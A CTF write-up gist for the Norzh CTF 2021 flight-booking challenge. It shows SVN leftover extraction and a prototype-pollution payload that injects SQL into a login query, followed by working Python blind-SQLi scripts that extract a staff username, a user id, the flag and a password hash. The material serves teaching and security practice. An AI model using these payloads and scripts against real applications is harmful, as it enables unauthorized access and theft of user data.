Skip to content

Instantly share code, notes, and snippets.

@telecastr
Last active January 10, 2022 15:30
Show Gist options
  • Save telecastr/f4d64fcb78794e85692070722b18a559 to your computer and use it in GitHub Desktop.
Save telecastr/f4d64fcb78794e85692070722b18a559 to your computer and use it in GitHub Desktop.
Norzh CTF 2021 - Welcome to Norzh Flight writeup

Welcome to Norzh Flight !

The starting point for this challenge is a flight-booking website. The goal is to book a particular flight from VNE to CTF on May 21. The catch is that apparently there are no seats available on that flight. 😕

Starting Point

Starting Point

When visiting the site and trying to book the flight, a message appears: This flight is no longer available to regular passengers!. This is a first hint to the fact that there seem to be regular and non-regular passengers.

💁

  • How to become/impersonate/.. a non-regular passenger?
  • Ways to increase the number of available seats?

Overview

The site consists of four pages (booking, tickets, login, registration) and a chatbot. According to the discord-channel the chatbot is not in the scope of this challenge.

Happy Go Lucky - Route

  • The user registers
  • The user logs in
  • The user selects a flight/date from the drop-down menu
  • If there are enough seats available, the flight can be booked
  • After booking a flight, a barcode and comment for the booked flights are shown at the flights page

General Findings

  • After logging in, a header Authorization is sent with all requests, containing a JWT
  • One can create arbitrary departure / destination airports when directly interacting with the API

JWT

The authors of the challenge left a little note in the JWT

JWT

Blackbox To Whitebox - SVN Leftovers

Note: Between these two steps are several hours of me trying to find a foothold. I tried SQLi on every field available, prototype-pollution, decoding the barcodes, looking through the client-side sources and - yes - messing with the JWT which turned out to be signed with a strong passphrase. The fact that some other contestant registered an account admin/admin (which of course did not have any priviliges) didn't help either ... 🤬

While scrolling through discord, I found that for this challenge one should not hesitate to dirb/dirbuster/gobuster the site and api (thx to @k1ng_pr4wn).

With dirb in standard mode we find a file https://norzh-flight.fr/.svn/entries. These are leftovers of SVN that should not be on a 'prodution' server.

$ dirb https://norzh-flight.fr/ 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun May 23 11:52:35 2021
URL_BASE: https://norzh-flight.fr/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: https://norzh-flight.fr/ ----
+ https://norzh-flight.fr/.svn/entries (CODE:200|SIZE:3) 

Note that the file is only 3 bytes in size, and does not really contain any useful information:

$ curl https://norzh-flight.fr/.svn/entries    
12

However, SVN seems to basically keep a SQLite database with the hashes of all files in a repository in .svn/wc.db. With those hashes it is possible to also extract the files themselves from the .svn/ directory! 🎉

Basically, extracting the files is about retrieving the File-Hash from the DB and generating the corresponding URL. (See https://www.sans.org/blog/all-your-svn-are-belong-to-us/ more information on how to manually extract SVN leftovers)

Unfortunately, none of the tools/exploits to automate this process worked for me 😭. So I decided to fix one of them: anantshri/svn-extractor. See gist for the hacky fix, PR is on its way. With the fixed script, the hole pristine Version of the repository can be downloaded with a simple

$ python3 svn_extractor.py --url https://norzh-flight.fr

The leftovers of SVN the backend-sources contain the backend-sources!

JWT

Leaking Data - JS Prototype Pollution / Blind SQLi

Prototype Pollution

The backend code did unfortunately not contain any credentials or JWT-passphrases. While looking around I found a SQL-Injection possibility in UserRepository.ts, specifically in the function authenticateUser(options).

JWT

Basically, if one could control the parameter staffOnly it would be possible to inject something into the statement:

SELECT * FROM user WHERE username = ? AND passwordHash = ? AND staff =

The function in question, authenticateUser, is called when logging in (endpoint /login):

JWT

Weak copyTo function: JWT

Luckily, an exploitable copy-function copyTo is used to copy the request.body to a js-object just before the call to authenticateUser. The use of this specific copy function (listed below) allows for prototype pollution. Without going into further detail, prototype pollution generally allows an attacker to set unset variables of objects in JS. For more information on protorype pollution, I suggest to visit https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution

Putting it all together: The property staffOnly in funtion authenticateUser is not set by the calling function. We can set this property with our request payload (i.e. request.body) by usage of prototype pollution. This allows an attacker to perform a SQL-Injection of the SELECT statement line 24, file UserRepository.ts.

Thus, sending the follwing request-payload via POST to https://api.norzh-flight.fr/login ...

{
	"username":"testman",
	"password":"betUwish",
	"__proto__":{
		"__proto__":{
		"staffOnly":"$MALICIOUS CODE"
		}
	}
}

... results in the following SELECT-Statement. The request has set the staffOnly-property of every* object, including the options object, to $MALICIOUS CODE:

SELECT * FROM user WHERE username = ? AND passwordHash = ? AND staff = $MALICIOUS CODE

Blind SQLi

Due to the arrangement of the SELECT-Statement and application logic, I was not able to directly leak data from the db. Nonetheless, it is possible to use blind SQL-Injection to leak data. In a few words, with blind SQLi, an attacker not sees the direct result of a query (e.g. all bookings), but can obtain the data through the behaviour of the query (e.g. how long does it take? Does it return a result or not?). For more information on blind SQLi I recommend this video by @JohnHammond

First of all, I wanted to see if there is an user, that has the staff property set. In order to do so, I registered an user to log in with. Then I issued a POST-Request to https://api.norzh-flight.fr/login with the following payload:

 {
 	"username":"testman",
 	"password":"betUwish",
 	"__proto__":{
 		"__proto__":{
 		"staffOnly":"false and (select count(*) from user where staff=1) > 1;"
 		}
 	}
 }

A HTTP-Code 200 is returned. This means, that the inner statement (select count(*) from user where staff=1) > 0; has evaluated to true. If there would not have been a least one user with the staff flag set, the response would be a 500 - Authentication failure.

Note0: for all the exploits, a registered user is neccessary!

Note1: Whenever possible, I would highly recommend to set up the backend locally so you can actually see the resulting queries and/or try them on your local db first!

Note2: What I got to know after the CTF: One could also use a SELECT UNION statement to generate a valid token for user testman...

Exploits

Leaking the username Using the same method, an attacker can try if the first, second, third, ... character of the username matches a,b,c,d....

Knowing that there is at least one user with the property staff=1, the following exploit will extact the username.

Note: It is not neccessary to leak the user-name in order to find the flag, the user-id is sufficient in this case!

import string
import requests

url = "https://api.norzh-flight.fr/login"
leaked_user = list("")

while True:
    for char in string.printable:
        length = len(leaked_user) + 1
        user = "".join(leaked_user) + char
        print(f"USER: {user}", end="\r")
        payload = {
            "username": "testman",
            "password": "betUwish",
            "__proto__": {
                "__proto__": {
                    "staffOnly": f"false and strcmp((select left(username, {length}) from user where staff=1), '{user}') = 0;"
                }
            },
        }
        r = requests.post(url, json=payload)
        
        if r.status_code == 200:
            leaked_user.append(char)
            print(f"USER: {user}", end="\r")
            break

Running the script reveals the user name frank.abagnale 😉

Leaking the user-id

After further digging around and extracting the password-hash without any luck of cracking it, I figured that leaking the comment-section of the flight from the booking table might reveal. To extract any flights for a user from the booking-table, the id of that user is needed (foreign-key).

To be true, I got lucky by guessing id=1. However, this could have also be brute-forced...

POST-Request to https://api.norzh-flight.fr/login to ensure the flag is in the comments (Returns 200 meaning frank.abagnale has id=1):

{
	"username":"testman",
	"password":"betUwish",
	"__proto__":{
		"__proto__":{
		"staffOnly":"false and (select id from user where username='frank.abagnale') = 1;"
		}
	}
}

Leaking the flag

Now that the id for a staff=1 user was revealed, I worte a short PoC to check that the flag actually is in the comments of a flight of frank.abagnale.

POST-Request to https://api.norzh-flight.fr/login to ensure the flag is in the comments (Returns 200 confirming the flag is in one of the comments):

{
	"username":"testman",
	"password":"betUwish",
	"__proto__":{
		"__proto__":{
		"staffOnly":"false and (select count(*) from booking where userId=1 AND left(comments, 5) = 'NORZH') > 0;"
		}
	}
}

Exploit to leak the flag (Note the select binary to ensure case-sensitivity):

import string
import requests

url = "https://api.norzh-flight.fr/login"
leaked_flag = list("")


while True:
    length = len(leaked_flag) + 1
    for char in string.printable:
        flag = "".join(leaked_flag) + char
        print(f"--FLAG: {flag}", end="\r")
        payload = {
            "username": "testman",
            "password": "betUwish",
            "__proto__": {
                "__proto__": {
                    "staffOnly": f"false and strcmp(binary (select left(comments, {length}) from booking where userId=1 and left(comments, 5) ='NORZH' limit 1), '{flag}') = 0;"
                }
            },
        }
        r = requests.post(url, json=payload)
        if r.status_code == 200:
            leaked_flag.append(char)
            print(f"--FLAG: {flag}", end="\r")
            break

Bonus: Leaking all the password hash(es)

Running the folling script reveals the password-hash of the given user (SHA512). The password-hash of frank.abagnale however was not found by crackstation so this looked like a dead end to me ...

import string 
import requests

url = "https://api.norzh-flight.fr/login"
leaked_hash = list("")

while True:
    length = len(leaked_hash) + 1
    for char in string.printable:
        hash = "".join(leaked_hash) + char
        print(f"--HASH: {hash}", end="\r")
        payload = {
        "username":"testman",
        "password":"betUwish",
        "__proto__":{
            "__proto__":{
            "staffOnly": f"false and strcmp((select left(lastName, {length}) from user where username='frank.abagnale'), '{hash}') = 0;"
            }
        }
        }
        r = requests.post(url, json=payload)
        if(r.status_code == 200):
            leaked_hash.append(char)
            print(f"--HASH {hash}", end="\r")
            break
@testentry
Copy link

Nice writeup but how did you know there was a userID column in the booking table

@telecastr
Copy link
Author

@testentry
Glad you liked the writeup!
As I had spun up a my-sql instance for me it really was just a DESCRIBE booking; to get the exact column name.

MySQL

Note that with access to the backend code, you could also figure this out just by looking at the classes used to access the database entities (specifically file db/Booking.entry.ts, lines 14/15). They used typeorm and the typeorm documentation explains how foreign / primary keys are named by default.

Even without access to the backend-code, you can figure out the column/table names via blind SQLi/UNION SELECT (e.g. looking them up in MySQL-Table INFORMATION_SCHEMA.COLUMNS)

@testentry
Copy link

I see i forgot you about the db file, thanks for the response

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment